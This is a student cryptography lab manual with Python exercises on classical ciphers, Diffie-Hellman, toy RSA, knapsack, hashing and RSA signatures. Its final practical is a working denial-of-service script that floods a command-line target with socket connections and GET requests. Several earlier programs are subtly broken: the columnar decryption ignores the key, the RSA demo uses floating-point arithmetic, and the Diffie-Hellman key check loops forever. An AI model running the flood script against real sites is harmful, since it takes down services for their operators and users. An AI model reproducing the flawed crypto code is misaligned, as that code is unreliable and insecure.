Cryptography Lab Manual
Practical 1:Create a menu based application to demonstrate different
transposition technique
# Rail Fence Cipher encryption function
def rail_fence_encrypt(text, rails):
rails = min(rails, len(text))
fence = [[' ' for _ in range(len(text))] for _ in range(rails)]
rail, delta = 0, 1
for char in text:
fence[rail][fence[rail].index(' ')] = char
if rail == 0:
delta = 1
elif rail == rails - 1:
delta = -1
rail += delta
encrypted_text = ''.join(''.join(row) for row in fence)
return encrypted_text
# Rail Fence Cipher decryption function
def rail_fence_decrypt(text, rails):
rails = min(rails, len(text))
fence = [[' ' for _ in range(len(text))] for _ in range(rails)]
rail, delta = 0, 1
for i in range(len(text)):
fence[rail][i] = '*'
if rail == 0:
delta = 1
elif rail == rails - 1:
delta = -1
rail += delta
plaintext = [' ' for _ in range(len(text))]
i=0
for row in range(rails):
for col in range(len(text)):
if fence[row][col] == '*':
plaintext[col] = text[i]
i += 1
return ''.join(plaintext)
# Columnar Transposition Cipher encryption function
def columnar_transposition_encrypt(text, key):
key_order = sorted(range(len(key)), key=lambda k: key[k])
num_columns = len(key)
num_rows = -(-len(text) // num_columns)
matrix = [[' ' for _ in range(num_columns)] for _ in range(num_rows)]
for i, char in enumerate(text):
matrix[i % num_rows][key_order[i // num_rows]] = char
encrypted_text = ''.join(''.join(row) for row in matrix)
return encrypted_text
# Columnar Transposition Cipher decryption function
def columnar_transposition_decrypt(text, key):
key_order = sorted(range(len(key)))
num_columns = len(key)
num_rows = -(-len(text) // num_columns) # Calculate the number of rows
# Initialize the matrix
matrix = [[' ' for _ in range(num_columns)] for _ in range(num_rows)]
# Fill the matrix with characters from the encrypted text
i=0
for col in key_order:
for row in range(num_rows):
if i < len(text):
matrix[row][col] = text[i]
i += 1
# Extract the text from the matrix row by row
decrypted_text = ''.join(''.join(row) for row in matrix)
return decrypted_text
while True:
print("\nTransposition Techniques Menu:")
print("1. Rail Fence Cipher")
print("2. Columnar Transposition Cipher")
print("3. Quit")
choice = input("Enter your choice (1/2/3): ")
if choice == '1':
text = input("Enter the text: ")
rails = int(input("Enter the number of rails: "))
encrypt_or_decrypt = input("Encrypt (E) or Decrypt (D)? ").strip().lower()
if encrypt_or_decrypt == 'e':
encrypted_text = rail_fence_encrypt(text, rails)
print("Encrypted Text:", encrypted_text)
elif encrypt_or_decrypt == 'd':
decrypted_text = rail_fence_decrypt(text, rails)
print("Decrypted Text:", decrypted_text)
else:
print("Invalid choice. Enter 'E' for encrypt or 'D' for decrypt.")
elif choice == '2':
text = input("Enter the text: ")
key = input("Enter the columnar transposition key (e.g., 2314): ")
encrypt_or_decrypt = input("Encrypt (E) or Decrypt (D)? ").strip().lower()
if encrypt_or_decrypt == 'e':
encrypted_text = columnar_transposition_encrypt(text, key)
print("Encrypted Text:", encrypted_text)
elif encrypt_or_decrypt == 'd':
decrypted_text = columnar_transposition_decrypt(text, key)
print("Decrypted Text:", decrypted_text)
else:
print("Invalid choice. Enter 'E' for encrypt or 'D' for decrypt.")
elif choice == '3':
print("Goodbye!")
break
else:
print("Invalid choice. Please select a valid option (1/2/3).")
Output:-
Practical 2:Create a menu based application to demonstrate different
substitution technique
# Caesar Cipher encryption function
def caesar_encrypt(text, shift):
result = []
for char in text:
if char.isalpha():
if char.islower():
result.append(chr(((ord(char) - ord('a') + shift) % 26) + ord('a')))
else:
result.append(chr(((ord(char) - ord('A') + shift) % 26) + ord('A')))
else:
result.append(char)
return ''.join(result)
# Caesar Cipher decryption function
def caesar_decrypt(text, shift):
return caesar_encrypt(text, -shift)
# Vigenère Cipher encryption function
def vigenere_encrypt(text, key):
result = []
key_length = len(key)
for i, char in enumerate(text):
if char.isalpha():
shift = ord(key[i % key_length].lower()) - ord('a')
if char.islower():
result.append(chr(((ord(char) - ord('a') + shift) % 26) + ord('a')))
else:
result.append(chr(((ord(char) - ord('A') + shift) % 26) + ord('A')))
else:
result.append(char)
return ''.join(result)
# Vigenère Cipher decryption function
def vigenere_decrypt(text, key):
result = []
key_length = len(key)
for i, char in enumerate(text):
if char.isalpha():
shift = ord(key[i % key_length].lower()) - ord('a')
if char.islower():
result.append(chr(((ord(char) - ord('a') - shift + 26) % 26) + ord('a')))
else:
result.append(chr(((ord(char) - ord('A') - shift + 26) % 26) + ord('A')))
else:
result.append(char)
return ''.join(result)
while True:
print("\nSubstitution Techniques Menu:")
print("1. Caesar Cipher")
print("2. Vigenère Cipher")
print("3. Quit")
choice = input("Enter your choice (1/2/3): ")
if choice == '1':
text = input("Enter the text: ")
shift = int(input("Enter the shift value (e.g., 3): "))
encrypt_or_decrypt = input("Encrypt (E) or Decrypt (D)? ").strip().lower()
if encrypt_or_decrypt == 'e':
encrypted_text = caesar_encrypt(text, shift)
print("Encrypted Text:", encrypted_text)
elif encrypt_or_decrypt == 'd':
decrypted_text = caesar_decrypt(text, shift)
print("Decrypted Text:", decrypted_text)
else:
print("Invalid choice. Enter 'E' for encrypt or 'D' for decrypt.")
elif choice == '2':
text = input("Enter the text: ")
key = input("Enter the Vigenère key (e.g., KEY): ")
encrypt_or_decrypt = input("Encrypt (E) or Decrypt (D)? ").strip().lower()
if encrypt_or_decrypt == 'e':
encrypted_text = vigenere_encrypt(text, key)
print("Encrypted Text:", encrypted_text)
elif encrypt_or_decrypt == 'd':
decrypted_text = vigenere_decrypt(text, key)
print("Decrypted Text:", decrypted_text)
else:
print("Invalid choice. Enter 'E' for encrypt or 'D' for decrypt.")
elif choice == '3':
print("Goodbye!")
break
else:
print("Invalid choice. Please select a valid option (1/2/3).")
Output:-
Practical 3:WAP to implement the Deffie Hellman Algorithm
# Diffie-Hellman Code
def prime_checker(p):
# Checks If the number entered is a Prime Number or not
if p < 1:
return -1
elif p > 1:
if p == 2:
return 1
for i in range(2, p):
if p % i == 0:
return -1
return 1
def primitive_check(g, p, L):
# Checks If The Entered Number Is A Primitive Root Or Not
for i in range(1, p):
L.append(pow(g, i) % p)
for i in range(1, p):
if L.count(i) > 1:
L.clear()
return -1
return 1
l = []
while 1:
P = int(input("Enter P : "))
if prime_checker(P) == -1:
print("Number Is Not Prime, Please Enter Again!")
continue
break
while 1:
G = int(input(f"Enter The Primitive Root Of {P} : "))
if primitive_check(G, P, l) == -1:
print(f"Number Is Not A Primitive Root Of {P}, Please Try Again!")
continue
break
# Private Keys
x1, x2 = int(input("Enter The Private Key Of User 1 : ")), int(
input("Enter The Private Key Of User 2 : "))
while 1:
if x1 >= P or x2 >= P:
print(f"Private Key Of Both The Users Should Be Less Than {P}!")
continue
break
# Calculate Public Keys
y1, y2 = pow(G, x1) % P, pow(G, x2) % P
# Generate Secret Keys
k1, k2 = pow(y2, x1) % P, pow(y1, x2) % P
print(f"\nSecret Key For User 1 Is {k1}\nSecret Key For User 2 Is {k2}\n")
if k1 == k2:
print("Keys Have Been Exchanged Successfully")
else:
print("Keys Have Not Been Exchanged Successfully")
Output:-
Practical 4:WAP to implement the RSA Algorithm
import math
def gcd(a, h):
temp = 0
while(1):
temp = a % h
if (temp == 0):
return h
a=h
h = temp
p=3
q=7
n = p*q
e=2
phi = (p-1)*(q-1)
while (e < phi):
# e must be co-prime to phi and
# smaller than phi.
if(gcd(e, phi) == 1):
break
else:
e = e+1
# Private key (d stands for decrypt)
# choosing d such that it satisfies
# d*e = 1 + k * totient
k=2
d = (1 + (k*phi))/e
# Message to be encrypted
msg = 12.0
print("Message data = ", msg)
# Encryption c = (msg ^ e) % n
c = pow(msg, e)
c = math.fmod(c, n)
print("Encrypted data = ", c)
# Decryption m = (c ^ d) % n
m = pow(c, d)
m = math.fmod(m, n)
print("Original Message Sent = ", m)
Output:-
Practical 5:WAP to implement the Knapsack Algorithm
# Function to solve 0/1 Knapsack problem using dynamic programming
def knapsack(weights, values, capacity):
n = len(weights)
dp = [[0 for _ in range(capacity + 1)] for _ in range(n + 1)]
for i in range(1, n + 1):
for w in range(capacity + 1):
if weights[i - 1] <= w:
dp[i][w] = max(values[i - 1] + dp[i - 1][w - weights[i - 1]], dp[i - 1][w])
else:
dp[i][w] = dp[i - 1][w]
# Reconstruct the selected items
selected_items = []
i, w = n, capacity
while i > 0 and w > 0:
if dp[i][w] != dp[i - 1][w]:
selected_items.append(i - 1)
w -= weights[i - 1]
i -= 1
return dp[n][capacity], selected_items[::-1]
# Example usage
weights = [2, 3, 4, 5]
values = [3, 4, 5, 6]
capacity = 5
max_value, selected_items = knapsack(weights, values, capacity)
print("Maximum value:", max_value)
print("Selected items:", selected_items)
Output:-
Practical 6:WAP to implement the sha-1 Algorithm
# Python 3 code to demonstrate
# SHA hash algorithms.
import hashlib
# initializing string
str = "Network Security"
# encoding Network Security using encode()
# then sending to SHA256()
result = hashlib.sha256(str.encode())
# printing the equivalent hexadecimal value.
print("The hexadecimal equivalent of SHA256 is : ")
print(result.hexdigest())
print ("\r")
# initializing string
str = "Network Security"
# encoding Network Security using encode()
# then sending to SHA384()
result = hashlib.sha384(str.encode())
# printing the equivalent hexadecimal value.
print("The hexadecimal equivalent of SHA384 is : ")
print(result.hexdigest())
print ("\r")
# initializing string
str = "Network Security"
# encoding Network Security using encode()
# then sending to SHA224()
result = hashlib.sha224(str.encode())
# printing the equivalent hexadecimal value.
print("The hexadecimal equivalent of SHA224 is : ")
print(result.hexdigest())
print ("\r")
# initializing string
str = "Network Security"
# encoding Network Security using encode()
# then sending to SHA512()
result = hashlib.sha512(str.encode())
# printing the equivalent hexadecimal value.
print("The hexadecimal equivalent of SHA512 is : ")
print(result.hexdigest())
print ("\r")
# initializing string
str = "Network Security"
# encoding Network Security using encode()
# then sending to SHA1()
result = hashlib.sha1(str.encode())
# printing the equivalent hexadecimal value.
print("The hexadecimal equivalent of SHA1 is : ")
print(result.hexdigest())
Output:-
Practical 7:WAP that accepts a message from the user and generate digital
signature for the given message
Note:-install crypto library using
Pip install pycryptodome command on command prompt
import hashlib
from Crypto.PublicKey import RSA
from Crypto.Signature import pkcs1_15
from Crypto.Hash import SHA256
# Function to generate digital signature
def generate_signature(message, private_key):
# Generate SHA-256 hash of the message
hashed_message = hashlib.sha256(message.encode()).digest()
# Load private key
key = RSA.import_key(private_key)
# Sign the hash using RSA private key
signer = pkcs1_15.new(key)
signature = signer.sign(SHA256.new(hashed_message))
return signature
# Function to verify digital signature
def verify_signature(message, signature, public_key):
# Generate SHA-256 hash of the message
hashed_message = hashlib.sha256(message.encode()).digest()
# Load public key
key = RSA.import_key(public_key)
# Verify the signature using RSA public key
verifier = pkcs1_15.new(key)
try:
verifier.verify(SHA256.new(hashed_message), signature)
return True
except (ValueError, TypeError):
return False
# Main function
if __name__ == "__main__":
# Generate RSA key pair (for demonstration purposes)
key = RSA.generate(2048)
private_key = key.export_key()
public_key = key.publickey().export_key()
# Get message from user
message = input("Enter the message: ")
# Generate digital signature
signature = generate_signature(message, private_key)
print("Digital Signature:", signature.hex())
# Verify the signature
if verify_signature(message, signature, public_key):
print("Signature is valid. Message has not been tampered.")
else:
print("Invalid signature. Message may have been tampered.")
Output:-
Practical 8:Perform denial of service attack for small website which didn’t
expect so much socket connection
# Please note that running this code might
# cause your IP to be blocked by the server. The purpose
# of this code is purely for learning purposes.
import socket
import sys
import os
print("][ Attacking " + sys.argv[1] + " ... ][")
print("injecting " + sys.argv[2])
def attack():
#pid = os.fork()
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((sys.argv[1], 80))
print(">> GET /" + sys.argv[2] + " HTTP/1.1")
s.send(("GET /" + sys.argv[2] + " HTTP/1.1\r\n").encode())
s.send(("Host: " + sys.argv[1] + "\r\n\r\n").encode())
s.close()
# Driver code
for i in range(1, 1000):
attack()
Output:-